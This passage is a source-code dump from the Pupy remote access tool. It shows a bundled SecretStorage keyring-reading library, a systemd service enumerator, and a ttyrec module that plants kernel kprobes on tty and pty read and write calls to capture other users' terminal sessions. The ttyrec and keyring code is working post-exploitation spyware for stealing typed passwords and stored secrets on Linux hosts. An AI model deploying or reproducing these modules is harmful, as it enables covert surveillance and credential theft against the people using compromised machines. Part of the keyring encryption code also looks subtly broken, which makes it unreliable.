get_all_collections(bus):\n    \"\"\"Returns a generator of all available collections.\"\"\"\n    service_obj = bus_get_object(bus, SS_PATH)\n    service_props_iface = dbus.Interface(service_obj,\n        dbus.PROPERTIES_IFACE)\n    for collection_path in service_props_iface.Get(SERVICE_IFACE,\n    'Collections', signature='ss'):\n        yield Collection(bus, collection_path)\n\ndef get_default_collection(bus, session=None):\n    \"\"\"Returns the default collection. If it doesn't exist,\n    creates it.\"\"\"\n    try:\n        return Collection(bus)\n    except ItemNotFoundException:\n        return create_collection(bus, 'Default',\n        'default', session)\n\ndef get_any_collection(bus):\n    \"\"\"Returns any collection, in the following order of preference:\n\n    - The default collection;\n    - The \"session\" collection (usually temporary);\n    - The first collection in the collections list.\"\"\"\n    try:\n        return Collection(bus)\n    except ItemNotFoundException:\n        pass\n    try:\n        # GNOME Keyring provides session collection where items\n        # are stored in process memory.\n        return Collection(bus, SESSION_COLLECTION)\n    except ItemNotFoundException:\n        pass\n    collections = list(get_all_collections(bus))\n    if collections:\n        return collections[0]\n    else:\n        raise ItemNotFoundException('No collections found.')\n\ndef get_collection_by_alias(bus, alias):\n    \"\"\"Returns the collection with the given `alias`. If there is no\n    such collection, raises\n    :exc:`~secretstorage.exceptions.ItemNotFoundException`.\"\"\"\n    service_obj = bus_get_object(bus, SS_PATH)\n    service_iface = dbus.Interface(service_obj, SERVICE_IFACE)\n    collection_path = service_iface.ReadAlias(alias, signature='s')\n    if len(collection_path) <= 1:\n        raise ItemNotFoundException('No collection with such alias.')\n    return Collection(bus, collection_path)\n\ndef search_items(bus, attributes):\n    \"\"\"Returns a generator of items in all collections with the given\n    attributes. `attributes` should be a dictionary.\"\"\"\n    service_obj = bus_get_object(bus, SS_PATH)\n    service_iface = dbus.Interface(service_obj, SERVICE_IFACE)\n    locked, unlocked = service_iface.SearchItems(attributes,\n        signature='a{ss}')\n    for item_path in locked + unlocked:\n        yield Item(bus, item_path)\n"
  },
  {
    "path": "pupy/packages/linux/all/secretstorage/defines.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n# SecretStorage module for Python\n# Access passwords using the SecretService DBus API\n# Author: Dmitry Shachnev, 2013\n# License: BSD\n\n# This file contains some common defines.\n\nSS_PREFIX = 'org.freedesktop.Secret.'\nSS_PATH = '/org/freedesktop/secrets'\n\nDBUS_UNKNOWN_METHOD  = 'org.freedesktop.DBus.Error.UnknownMethod'\nDBUS_ACCESS_DENIED   = 'org.freedesktop.DBus.Error.AccessDenied'\nDBUS_SERVICE_UNKNOWN = 'org.freedesktop.DBus.Error.ServiceUnknown'\nDBUS_EXEC_FAILED     = 'org.freedesktop.DBus.Error.Spawn.ExecFailed'\nDBUS_NO_REPLY        = 'org.freedesktop.DBus.Error.NoReply'\nDBUS_NOT_SUPPORTED   = 'org.freedesktop.DBus.Error.NotSupported'\nDBUS_NO_SUCH_OBJECT  = 'org.freedesktop.Secret.Error.NoSuchObject'\n\nALGORITHM_PLAIN = 'plain'\nALGORITHM_DH = 'dh-ietf1024-sha256-aes128-cbc-pkcs7'\n"
  },
  {
    "path": "pupy/packages/linux/all/secretstorage/dhcrypto.py",
    "content": "# SecretStorage module for Python\n# Access passwords using the SecretService DBus API\n# Author: Dmitry Shachnev, 2014\n# License: BSD\n\n'''This module contains needed classes, functions and constants\nto implement dh-ietf1024-sha256-aes128-cbc-pkcs7 secret encryption\nalgorithm.'''\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport hmac\nimport os\n\nfrom hashlib import sha256\nfrom secretstorage.util import int_from_bytes, int_to_bytes\n\n# A standard 1024 bits (128 bytes) prime number for use in Diffie-Hellman exchange\nDH_PRIME_1024_BYTES = (\n    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,\n    0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,\n    0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,\n    0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,\n    0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,\n    0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,\n    0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,\n    0x49, 0x28, 0x66, 0x51, 0xEC, 0xE6, 0x53, 0x81, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF\n)\n\nDH_PRIME_1024 = int_from_bytes(bytearray(DH_PRIME_1024_BYTES), 'big')\n\nclass Session(object):\n    def __init__(self):\n        self.object_path = None\n        self.server_public_key = None\n        self.aes_key = None\n        self.encrypted = True\n        # 128-bytes-long strong random number\n        self.my_private_key = int_from_bytes(os.urandom(0x80), 'big')\n        self.my_public_key = pow(2, self.my_private_key, DH_PRIME_1024)\n\n    def set_server_public_key(self, server_public_key):\n        common_secret = pow(server_public_key, self.my_private_key,\n            DH_PRIME_1024)\n        common_secret = int_to_bytes(common_secret)\n        # Prepend NULL bytes if needed\n        common_secret = b'\\x00' * (0x80 - len(common_secret)) + common_secret\n        # HKDF with null salt, empty info and SHA-256 hash\n        salt = b'\\x00' * 0x20\n        pseudo_random_key = hmac.new(salt, common_secret, sha256).digest()\n        output_block = hmac.new(pseudo_random_key, b'\\x01', sha256).digest()\n        # Resulting AES key should be 128-bit\n        self.aes_key = output_block[:0x10]\n"
  },
  {
    "path": "pupy/packages/linux/all/secretstorage/exceptions.py",
    "content": "# SecretStorage module for Python\n# Access passwords using the SecretService DBus API\n# Author: Dmitry Shachnev, 2012\n# License: BSD\n\n\"\"\"All secretstorage functions may raise various exceptions when\nsomething goes wrong. All exceptions derive from base\n:exc:`SecretStorageException` class.\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nclass SecretStorageException(Exception):\n    \"\"\"All exceptions derive from this class.\"\"\"\n\nclass SecretServiceNotAvailableException(SecretStorageException):\n    \"\"\"Raised by :class:`~secretstorage.item.Item` or\n    :class:`~secretstorage.collection.Collection` constructors, or by\n    other functions in the :mod:`secretstorage.collection` module, when\n    the Secret Service API is not available.\"\"\"\n\nclass LockedException(SecretStorageException):\n    \"\"\"Raised when an action cannot be performed because the collection\n    is locked. Use :meth:`~secretstorage.collection.Collection.is_locked`\n    to check if the collection is locked, and\n    :meth:`~secretstorage.collection.Collection.unlock` to unlock it.\n    \"\"\"\n\nclass ItemNotFoundException(SecretStorageException):\n    \"\"\"Raised when an item does not exist or has been deleted. Example of\n    handling:\n\n    >>> import secretstorage\n    >>> bus = secretstorage.dbus_init()\n    >>> item_path = '/not/existing/path'\n    >>> try:\n    ...     item = secretstorage.Item(bus, item_path)\n    ... except secretstorage.ItemNotFoundException:\n    ...     print('Item not found!')\n    ...\n    Item not found!\n\n    Also, :func:`~secretstorage.collection.create_collection` may raise\n    this exception when a prompt was dismissed during creating the\n    collection.\n    \"\"\"\n"
  },
  {
    "path": "pupy/packages/linux/all/secretstorage/item.py",
    "content": "# SecretStorage module for Python\n# Access passwords using the SecretService DBus API\n# Author: Dmitry Shachnev, 2013\n# License: BSD\n\n\"\"\"SecretStorage item contains a *secret*, some *attributes* and a\n*label* visible to user. Editing all these properties and reading the\nsecret is possible only when the :doc:`collection <collection>` storing\nthe item is unlocked. The collection can be unlocked using collection's\n:meth:`~secretstorage.collection.Collection.unlock` method.\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport dbus\nfrom secretstorage.defines import SS_PREFIX\nfrom secretstorage.exceptions import LockedException\nfrom secretstorage.util import InterfaceWrapper, bus_get_object, \\\n open_session, format_secret, to_unicode, unlock_objects\nfrom Crypto import Cipher\n\nITEM_IFACE = SS_PREFIX + 'Item'\n\nclass Item(object):\n    \"\"\"Represents a secret item.\"\"\"\n\n    def __init__(self, bus, item_path, session=None):\n        self.item_path = item_path\n        item_obj = bus_get_object(bus, item_path)\n        self.session = session\n        self.bus = bus\n        self.item_iface = InterfaceWrapper(item_obj, ITEM_IFACE)\n        self.item_props_iface = InterfaceWrapper(item_obj,\n            dbus.PROPERTIES_IFACE)\n        self.item_props_iface.Get(ITEM_IFACE, 'Label', signature='ss')\n\n    def __eq__(self, other):\n        return self.item_path == other.item_path\n\n    def is_locked(self):\n        \"\"\"Returns :const:`True` if item is locked, otherwise\n        :const:`False`.\"\"\"\n        return bool(self.item_props_iface.Get(ITEM_IFACE, 'Locked',\n            signature='ss'))\n\n    def ensure_not_locked(self):\n        \"\"\"If collection is locked, raises\n        :exc:`~secretstorage.exceptions.LockedException`.\"\"\"\n        if self.is_locked():\n            raise LockedException('Item is locked!')\n\n    def unlock(self, callback=None):\n        \"\"\"Requests unlocking the item. Usually, this will mean that the\n        whole collection containing this item will be unlocked.\n\n        If `callback` is specified, calls it when unlocking is complete\n        (see :func:`~secretstorage.util.exec_prompt` description for\n        details). Otherwise, uses the loop from GLib API and returns a\n        boolean representing whether the operation was dismissed.\n\n        .. versionadded:: 2.1.2\"\"\"\n        return unlock_objects(self.bus, [self.item_path], callback)\n\n    def get_attributes(self):\n        \"\"\"Returns item attributes (dictionary).\"\"\"\n        attrs = self.item_props_iface.Get(ITEM_IFACE, 'Attributes',\n            signature='ss')\n        return {to_unicode(key): to_unicode(value)\n            for key, value in attrs.items()}\n\n    def set_attributes(self, attributes):\n        \"\"\"Sets item attributes to `attributes` (dictionary).\"\"\"\n        self.item_props_iface.Set(ITEM_IFACE, 'Attributes', attributes,\n            signature='ssv')\n\n    def get_label(self):\n        \"\"\"Returns item label (unicode string).\"\"\"\n        label = self.item_props_iface.Get(ITEM_IFACE, 'Label',\n            signature='ss')\n        return to_unicode(label)\n\n    def set_label(self, label):\n        \"\"\"Sets item label to `label`.\"\"\"\n        self.ensure_not_locked()\n        self.item_props_iface.Set(ITEM_IFACE, 'Label', label,\n            signature='ssv')\n\n    def delete(self):\n        \"\"\"Deletes the item.\"\"\"\n        self.ensure_not_locked()\n        return self.item_iface.Delete(signature='')\n\n    def get_secret(self):\n        \"\"\"Returns item secret (bytestring).\"\"\"\n        self.ensure_not_locked()\n        if not self.session:\n            self.session = open_session(self.bus)\n        secret = self.item_iface.GetSecret(self.session.object_path,\n            signature='o')\n        if not self.session.encrypted:\n            return bytes(bytearray(secret[2]))\n        aes_iv = bytes(bytearray(secret[1]))\n        aes = Cipher.AES.new(self.session.aes_key, Cipher.AES.MODE_CBC, aes_iv)\n        encrypted_secret = bytes(bytearray(secret[2]))\n        padded_secret = aes.decrypt(encrypted_secret)\n        padded_secret = bytearray(padded_secret)\n        return bytes(padded_secret[:-padded_secret[-1]])\n\n    def get_secret_content_type(self):\n        \"\"\"Returns content type of item secret (string).\"\"\"\n        self.ensure_not_locked()\n        if not self.session:\n            self.session = open_session(self.bus)\n        secret = self.item_iface.GetSecret(self.session.object_path,\n            signature='o')\n        return str(secret[3])\n\n    def set_secret(self, secret, content_type='text/plain'):\n        \"\"\"Sets item secret to `secret`. If `content_type` is given,\n        also sets the content type of the secret (``text/plain`` by\n        default).\"\"\"\n        self.ensure_not_locked()\n        if not self.session:\n            self.session = open_session(self.bus)\n        secret = format_secret(self.session, secret, content_type)\n        self.item_iface.SetSecret(secret, signature='(oayays)')\n\n    def get_created(self):\n        \"\"\"Returns UNIX timestamp (integer) representing the time\n        when the item was created.\n\n        .. versionadded:: 1.1\"\"\"\n        return int(self.item_props_iface.Get(ITEM_IFACE, 'Created',\n            signature='ss'))\n\n    def get_modified(self):\n        \"\"\"Returns UNIX timestamp (integer) representing the time\n        when the item was last modified.\"\"\"\n        return int(self.item_props_iface.Get(ITEM_IFACE, 'Modified',\n            signature='ss'))\n\n    def to_tuple(self):\n        \"\"\"Returns (*attributes*, *secret*) tuple representing the\n        item.\"\"\"\n        self.ensure_not_locked()\n        return self.get_attributes(), self.get_secret()\n"
  },
  {
    "path": "pupy/packages/linux/all/secretstorage/util.py",
    "content": "# SecretStorage module for Python\n# Access passwords using the SecretService DBus API\n# Author: Dmitry Shachnev, 2013\n# License: BSD\n\n\"\"\"This module provides some utility functions, but these shouldn't\nnormally be used by external applications.\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport binascii\nimport struct\n\ndef int_from_bytes(data, byteorder, signed=False):\n    if len(data) % 4 != 0:\n        data = (b'\\x00' * (4 - (len(data) % 4))) + data\n\n    result = 0\n\n    while len(data) > 0:\n        digit, = struct.unpack('>I', data[:4])\n        result = (result << 32) + digit\n        # TODO: this is quadratic in the length of data\n        data = data[4:]\n\n    return result\n\ndef int_to_bytes(integer, length=None):\n    hex_string = '%x' % integer\n    if length is None:\n        n = len(hex_string)\n    else:\n        n = length * 2\n    return binascii.unhexlify(hex_string.zfill(n + (n & 1)))\n\nimport dbus\nimport os\nfrom secretstorage.defines import DBUS_UNKNOWN_METHOD, DBUS_NO_SUCH_OBJECT, \\\n DBUS_SERVICE_UNKNOWN, DBUS_NO_REPLY, DBUS_NOT_SUPPORTED, DBUS_EXEC_FAILED, \\\n SS_PATH, SS_PREFIX, ALGORITHM_DH, ALGORITHM_PLAIN\nfrom secretstorage.dhcrypto import Session\nfrom secretstorage.exceptions import ItemNotFoundException, \\\n SecretServiceNotAvailableException\nfrom Crypto import Cipher\n\nBUS_NAME = 'org.freedesktop.secrets'\nSERVICE_IFACE = SS_PREFIX + 'Service'\n\nclass InterfaceWrapper(dbus.Interface):\n    \"\"\"Wraps :cls:`dbus.Interface` class and replaces some D-Bus exceptions\n    with :doc:`SecretStorage exceptions <exceptions>`.\"\"\"\n\n    def catch_errors(self, function_in):\n        def function_out(*args, **kwargs):\n            try:\n                return function_in(*args, **kwargs)\n            except dbus.exceptions.DBusException as e:\n                if e.get_dbus_name() == DBUS_UNKNOWN_METHOD:\n                    raise ItemNotFoundException('Item does not exist!')\n                if e.get_dbus_name() == DBUS_NO_SUCH_OBJECT:\n                    raise ItemNotFoundException(e.get_dbus_message())\n                if e.get_dbus_name() in (DBUS_NO_REPLY, DBUS_NOT_SUPPORTED):\n                    raise SecretServiceNotAvailableException(\n                        e.get_dbus_message())\n                raise\n        return function_out\n\n    def __getattr__(self, attribute):\n        result = dbus.Interface.__getattr__(self, attribute)\n        if callable(result):\n            result = self.catch_errors(result)\n        return result\n\ndef bus_get_object(bus, object_path, service_name=None):\n    \"\"\"A wrapper around :meth:`SessionBus.get_object` that raises\n    :exc:`~secretstorage.exceptions.SecretServiceNotAvailableException`\n    when appropriate.\"\"\"\n    name = service_name or BUS_NAME\n    try:\n        return bus.get_object(name, object_path, introspect=False)\n    except dbus.exceptions.DBusException as e:\n        if e.get_dbus_name() in (DBUS_SERVICE_UNKNOWN, DBUS_EXEC_FAILED,\n                                 DBUS_NO_REPLY):\n            raise SecretServiceNotAvailableException(e.get_dbus_message())\n        raise\n\ndef open_session(bus):\n    \"\"\"Returns a new Secret Service session.\"\"\"\n    service_obj = bus_get_object(bus, SS_PATH)\n    service_iface = dbus.Interface(service_obj, SS_PREFIX+'Service')\n    session = Session()\n    try:\n        output, result = service_iface.OpenSession(\n            ALGORITHM_DH,\n            dbus.ByteArray(int_to_bytes(session.my_public_key)),\n            signature='sv'\n        )\n    except dbus.exceptions.DBusException as e:\n        if e.get_dbus_name() != DBUS_NOT_SUPPORTED:\n            raise\n        output, result = service_iface.OpenSession(\n            ALGORITHM_PLAIN,\n            '',\n            signature='sv'\n        )\n        session.encrypted = False\n    else:\n        output = int_from_bytes(bytearray(output), 'big')\n        session.set_server_public_key(output)\n    session.object_path = result\n    return session\n\ndef format_secret(session, secret, content_type):\n    \"\"\"Formats `secret` to make possible to pass it to the\n    Secret Service API.\"\"\"\n    if not isinstance(secret, bytes):\n        secret = secret.encode('utf-8')\n    if not session.encrypted:\n        return dbus.Struct((session.object_path, '',\n            dbus.ByteArray(secret), content_type))\n    # PKCS-7 style padding\n    padding = 0x10 - (len(secret) & 0xf)\n    secret += bytes(bytearray((padding,)) * padding)\n    aes_iv = os.urandom(0x10)\n    aes = Cipher.AES.new(session.aes_key, Cipher.MODE_CBC, Cipher.AES.aes_iv)\n    encrypted_secret = aes.encrypt(secret)\n    return dbus.Struct((\n        session.object_path,\n        dbus.Array(aes_iv),\n        dbus.Array(bytearray(encrypted_secret)),\n        content_type\n    ))\n\ndef exec_prompt(bus, prompt, callback):\n    \"\"\"Executes the given `prompt`, when complete calls `callback`\n    function with two arguments: a boolean representing whether the\n    operation was dismissed and a list of unlocked item paths. A main\n    loop should be running and registered for this function to work.\"\"\"\n    prompt_obj = bus_get_object(bus, prompt)\n    prompt_iface = dbus.Interface(prompt_obj, SS_PREFIX+'Prompt')\n    prompt_iface.Prompt('', signature='s')\n\n    def new_callback(dismissed, unlocked):\n        if isinstance(unlocked, dbus.Array):\n            unlocked = list(unlocked)\n        callback(bool(dismissed), unlocked)\n\n    prompt_iface.connect_to_signal('Completed', new_callback)\n\ndef exec_prompt_glib(bus, prompt):\n    \"\"\"Like :func:`exec_prompt`, but synchronous (uses loop from GLib\n    API). Returns (*dismissed*, *unlocked*) tuple.\"\"\"\n    from gi.repository import GLib\n    loop = GLib.MainLoop()\n    result = []\n\n    def callback(dismissed, unlocked):\n        result.append(dismissed)\n        result.append(unlocked)\n        loop.quit()\n\n    exec_prompt(bus, prompt, callback)\n    loop.run()\n    return result[0], result[1]\n\ndef exec_prompt_qt(bus, prompt):\n    \"\"\"Like :func:`exec_prompt`, but synchronous (uses loop from PyQt5\n    API). Returns (*dismissed*, *unlocked*) tuple.\"\"\"\n    from PyQt5.QtCore import QCoreApplication\n    app = QCoreApplication([])\n    result = []\n\n    def callback(dismissed, unlocked):\n        result.append(dismissed)\n        result.append(unlocked)\n        app.quit()\n\n    exec_prompt(bus, prompt, callback)\n    app.exec_()\n    return result[0], result[1]\n\ndef unlock_objects(bus, paths, callback=None):\n    \"\"\"Requests unlocking objects specified in `paths`. If `callback`\n    is specified, calls it when unlocking is complete (see\n    :func:`exec_prompt` description for details).\n    Otherwise, uses the loop from GLib API and returns a boolean\n    representing whether the operation was dismissed.\n\n    .. versionadded:: 2.1.2\"\"\"\n    service_obj = bus_get_object(bus, SS_PATH)\n    service_iface = InterfaceWrapper(service_obj, SERVICE_IFACE)\n    unlocked_paths, prompt = service_iface.Unlock(paths, signature='ao')\n    unlocked_paths = list(unlocked_paths)  # Convert from dbus.Array\n    if len(prompt) > 1:\n        if callback:\n            exec_prompt(bus, prompt, callback)\n        else:\n            return exec_prompt_glib(bus, prompt)[0]\n    elif callback:\n        # We still need to call it.\n        callback(False, unlocked_paths)\n\ndef to_unicode(string):\n    \"\"\"Converts D-Bus string to unicode string.\"\"\"\n    try:\n        # For Python 2\n        return unicode(string)\n    except NameError:\n        # For Python 3\n        return str(string)\n"
  },
  {
    "path": "pupy/packages/linux/all/services.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport sys\nimport os\nimport dbus\n\nif sys.version_info.major > 2:\n    unicode = str\n\n\ndef get_services_systemd():\n    sys_bus = dbus.SystemBus()\n    systemd = sys_bus.get_object('org.freedesktop.systemd1', '/org/freedesktop/systemd1')\n\n    list_units = systemd.get_dbus_method('ListUnits', 'org.freedesktop.systemd1.Manager')\n\n    objects = []\n\n    for unit, description, loaded, active, status, _, sd_object, _, _, _ in list_units():\n        if not unit.endswith('.service'):\n            continue\n\n        unit_object = sys_bus.get_object('org.freedesktop.systemd1', sd_object)\n        service_iface = dbus.Interface(unit_object, 'org.freedesktop.DBus.Properties')\n        properties = service_iface.GetAll('org.freedesktop.systemd1.Service')\n\n        exec_start = properties.get('ExecStart')\n\n        binpath = ''\n\n        if not len(exec_start):\n            continue\n\n        exec_start = exec_start[-1]\n\n        argv0, argv = exec_start[0], exec_start[1]\n        binpath = None\n\n        argv0 = unicode(argv0)\n        argv = [unicode(x) for x in argv]\n\n        if os.path.basename(argv0) == os.path.basename(argv[0]):\n            binpath = argv0\n        else:\n            binpath = '{}| {}'.format(argv0, argv[0])\n\n        if len(argv) > 1:\n            binpath += ' ' + ' '.join([x if ' ' not in x else repr(x) for x in argv[1:]])\n\n        objects.append({\n            'name': unicode(unit),\n            'display_name': unicode(description),\n            'status': unicode(status),\n            'pid': int(properties.get('MainPID')) or None,\n            'binpath': unicode(binpath),\n            'username': unicode(properties.get('User'))\n        })\n\n    return objects\n\nif __name__ == '__main__':\n    for x in get_services_systemd():\n        print(x)\n"
  },
  {
    "path": "pupy/packages/linux/all/ttyrec.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'TTYMon', 'TTYRec', 'start', 'stop', 'dump'\n)\n\nimport os\nimport re\nimport fcntl\nimport select\nimport errno\nimport struct\nimport zlib\n\nfrom io import open\nfrom threading import Lock\n\nfrom pupy.agent import manager, Task\n\ntry:\n    from pupy.network.lib.transports.cryptoutils import get_random\nexcept ImportError:\n    def get_random(cnt):\n        with open('/dev/urandom', 'rb') as urandom:\n            return urandom.read(cnt)\n\nif not __name__ == '__main__':\n    from pupy.network.lib.buffer import Buffer\n\nDEBUGFS='/sys/kernel/debug'\n\nKPROBE_REGISTRY='tracing/kprobe_events'\nTRACE_PIPE='tracing/trace_pipe'\nTRACE='tracing/trace'\nKPROBE_EVENTS='tracing/events/kprobes'\nKPROBES_ENABLED='kprobes/enabled'\n\n# These are to derive tty_struct from file*\n# name can be found from synclink.ko:mgsl_stop/mgsl_start\nTTY_PRIVATE_2 = '0x0'\n\n\ndef _to_int(x):\n    if x is None:\n        return None\n    elif isinstance(x, (int, long)):\n        return x\n    elif x.startswith('0x'):\n        return int(x[2:], 16)\n    else:\n        return int(x)\n\n\nclass KProbesNotAvailable(Exception):\n    pass\n\n\nclass KProbesNotEnabled(Exception):\n    pass\n\n\nclass Kallsyms(object):\n    def __init__(self):\n        with open('/proc/kallsyms') as kallsyms:\n            for ks in kallsyms:\n                ks = ks.strip()\n                addr, t, name = ks.split(' ')[:3]\n                setattr(self, name, addr)\n\n\nclass TTYState(object):\n    __slots__ = (\n        'size', 'first_input'\n    )\n\n    def __init__(self):\n        self.size = None\n        self.first_input = None\n\n    def need_resize(self, size):\n        if self.size is None:\n            self.size = size\n            return True\n\n        if self.size != size:\n            self.size = size\n            return True\n\n        return False\n\n    def get_last_input(self, ts):\n        ts = float(ts)\n        if self.first_input is None:\n            self.first_input = ts\n            return 0.0\n\n        return ts - self.first_input\n\n\nclass Probe(object):\n    __slots__ = (\n        'type', 'name', 'func', 'args', 'kwargs'\n    )\n\n    def __init__(self, type, name, func, *args, **kwargs):\n        self.type = type\n        self.name = name\n        self.func = func\n        self.args = args\n        self.kwargs = kwargs\n\n    @property\n    def registered(self):\n        return os.path.exists(\n            os.path.join(DEBUGFS, KPROBE_EVENTS, self.name, 'enable')\n        )\n\n    @property\n    def statement(self):\n        parts = [\n            self.type + ':' + self.name,\n            self.func\n        ]\n\n        parts.extend(self.args)\n\n        statement = ' '.join(parts)\n        if self.kwargs:\n            statement = statement.format(**self.kwargs)\n\n        return statement\n\n    def enable(self):\n        if not self.registered:\n            return\n\n        with open(os.path.join(\n                DEBUGFS, KPROBE_EVENTS, self.name, 'enable'), 'w') as enable:\n            enable.write('1\\n')\n\n    def disable(self):\n        if not self.registered:\n            return\n\n        with open(os.path.join(\n                DEBUGFS, KPROBE_EVENTS, self.name, 'enable'), 'w') as enable:\n            enable.write('0\\n')\n\n    def unregister(self):\n        if not self.registered:\n            return\n\n        try:\n            with open(os.path.join(\n                    DEBUGFS, KPROBE_REGISTRY), 'w') as registry:\n                registry.write('-:' + self.name+'\\n')\n        except IOError:\n            pass\n\n\nclass TTYMon(object):\n    def __init__(self, name, winsize, tty_private, ignore=[]):\n        self.validate()\n\n        kallsyms = Kallsyms()\n\n        self._ignore = [ignore] if type(ignore) is int else ignore\n\n        self._probes = [\n            Probe(\n                'p',\n                'tty_o',\n                '0x{addr}',\n                '+{tty_name_offt}(+{struct}(+{private}({vfs_file}))):string',\n                '+{winsiz_offt_x}(+{struct}(+{private}({vfs_file}))):u16',\n                '+{winsiz_offt_y}(+{struct}(+{private}({vfs_file}))):u16',\n                '{size}:s32',\n                '+0({buffer}):string',\n                addr=kallsyms.tty_write,\n                buffer=r'%si',\n                vfs_file=r'%di',\n                size=r'%dx',\n                tty_name_offt=name,\n                struct=TTY_PRIVATE_2,\n                private=tty_private,\n                winsiz_offt_x=winsize+2,\n                winsiz_offt_y=winsize\n            ),\n            Probe(\n                'p',\n                'pty_o',\n                '0x{addr}',\n                '+{tty_name_offt}({tty_struct}):string',\n                '+{winsiz_offt_x}({tty_struct}):u16',\n                '+{winsiz_offt_y}({tty_struct}):u16',\n                '{size}:s32',\n                '+0({buffer}):string',\n                addr=kallsyms.pty_write,\n                buffer=r'%si',\n                tty_struct=r'%di',\n                size=r'%dx',\n                tty_name_offt=name,\n                winsiz_offt_x=winsize+2,\n                winsiz_offt_y=winsize\n            ),\n            Probe(\n                'r',\n                'tty_i',\n                'tty_read',\n                '+{tty_name_offt}(+{struct}(+{private}({vfs_file}))):string',\n                '+{winsiz_offt_x}(+{struct}(+{private}({vfs_file}))):u16',\n                '+{winsiz_offt_y}(+{struct}(+{private}({vfs_file}))):u16',\n                '{size}:s64',\n                '+0({buffer}):string',\n                vfs_file='$stack1',\n                buffer='$stack2',\n                size='$retval',\n                tty_name_offt=name,\n                struct=TTY_PRIVATE_2,\n                private=tty_private,\n                winsiz_offt_x=winsize+2,\n                winsiz_offt_y=winsize\n            )\n        ]\n\n        self._tty_cache = {}\n        self._started = False\n        self._stopping = False\n        self._stopped = True\n        self._pipe = None\n        self._pipe_fd = None\n        self._parser_body = r'\\s+([^-]+)-(\\d+)\\s+\\[\\d+\\]\\s+[^\\s]+\\s+(\\d+\\.\\d+):' \\\n            r'\\s+({})_([o|i]):\\s+\\([^+]+\\+[^)]+\\)\\s+arg1=\"([^\"]+)\"\\s+arg2=(\\S+)\\s+arg3=(\\S+)\\s+arg4=(-?\\S+)\\s+arg5=\"'.format(\n                '|'.join(probe.name.rsplit('_', 1)[0] for probe in self._probes))\n\n        self._parser_start = re.compile(self._parser_body)\n        self._parser_end = re.compile('\"\\n'+self._parser_body, re.MULTILINE)\n\n    def validate(self):\n        if not os.path.exists(os.path.join(DEBUGFS, KPROBE_REGISTRY)):\n            raise KProbesNotAvailable('Tracing using KProbes are not accessible/available')\n\n        with open(os.path.join(DEBUGFS, KPROBES_ENABLED)) as enabled:\n            if int(enabled.read().strip()) == 0:\n                raise KProbesNotEnabled('KProbes were intentionally disabled')\n\n    def stop(self):\n        self._stopping = True\n\n    @property\n    def active(self):\n        return self._started and not self._stopped\n\n    def _enable(self):\n\n        # Ensure stopped\n        self._disable()\n\n        self._stopped = False\n        self._stopping = False\n\n        statement = '\\n'.join(\n            probe.statement for probe in self._probes\n        ) + '\\n'\n\n        try:\n            with open(os.path.join(\n                    DEBUGFS, KPROBE_REGISTRY), 'w') as registry:\n                registry.write(statement)\n\n            for probe in self._probes:\n                probe.enable()\n\n        except IOError:\n            self._disable()\n            raise\n\n        self._started = True\n\n    def _disable(self):\n        statement = '\\n'.join(\n            ('-:' + probe.name) for probe in self._probes\n        ) + '\\n'\n\n        for probe in self._probes:\n            probe.disable()\n\n        try:\n            with open(os.path.join(\n                    DEBUGFS, KPROBE_REGISTRY), 'w') as registry:\n                registry.write(statement)\n        except IOError:\n            pass\n\n    def __iter__(self):\n        self._enable()\n\n        try:\n            with open(os.path.join(DEBUGFS, TRACE), 'w') as trace:\n                trace.write('')\n\n            self._pipe = open(os.path.join(DEBUGFS, TRACE_PIPE), 'rb')\n            self._pipe_fd = self._pipe.fileno()\n\n            flag = fcntl.fcntl(self._pipe_fd, fcntl.F_GETFL)\n            fcntl.fcntl(self._pipe_fd, fcntl.F_SETFL, flag | os.O_NONBLOCK)\n\n            for block in self._collector():\n                yield block\n        finally:\n            try:\n                self._disable()\n            except IOError:\n                pass\n\n            self._pipe.close()\n\n        self._stopped = True\n        self._started = False\n\n    def _collector(self):\n        more = True\n        buf = ''\n\n        while not self._stopping:\n            if more:\n                try:\n                    r = os.read(self._pipe_fd, 8192)\n\n                    buf += r\n                except OSError as e:\n                    if e.errno not in (errno.EAGAIN, errno.ENODATA):\n                        raise\n\n                    _, _, xlist = select.select(\n                        [self._pipe], [], [self._pipe], 10\n                    )\n                    if xlist:\n                        break\n\n                    continue\n\n            start = self._parser_start.search(buf)\n            more = not bool(start)\n            if more:\n                more = True\n                continue\n\n            rest = buf[start.end():]\n            end = self._parser_end.search(rest)\n            more = not bool(end)\n\n            if more:\n                continue\n\n            comm, 